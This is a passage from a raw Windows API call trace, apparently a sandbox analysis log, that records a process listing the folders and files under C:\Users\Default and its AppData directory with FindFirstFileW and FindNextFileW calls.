ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0142.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0142.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0142.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0142.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0142.412] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0142.412] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0142.412] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0142.412] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0142.412] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0142.412] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.412] SetErrorMode (uMode=0x0) returned 0x1 [0142.413] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0142.413] SetErrorMode (uMode=0x1) returned 0x0 [0142.413] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*" (normalized: "c:\\users\\default\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x629b4b20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.413] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x629b4b20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.413] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0142.413] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0142.414] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0142.414] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0142.414] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0142.414] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0142.414] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0142.414] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0142.415] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf3011f30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf3011f30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0142.415] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0142.415] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0142.415] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0142.415] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0142.415] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x62d46c20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x62d46c20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0142.415] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc103692e, ftCreationTime.dwHighDateTime=0x1ca0451, ftLastAccessTime.dwLowDateTime=0x1dd1880d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1dd1880d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG", cAlternateFileName="NTUSER~3.LOG")) returned 1 [0142.416] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x62d46c20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0142.416] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0142.416] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0142.416] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8e8757c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0142.416] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0142.416] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0142.416] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0142.416] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0142.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0142.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0142.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0142.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0142.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0142.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0142.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0142.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0142.417] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.418] SetErrorMode (uMode=0x0) returned 0x1 [0142.418] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData", lpFilePart=0x0) returned 0x18 [0142.418] SetErrorMode (uMode=0x1) returned 0x0 [0142.418] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*" (normalized: "c:\\users\\default\\appdata\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.419] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.420] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", 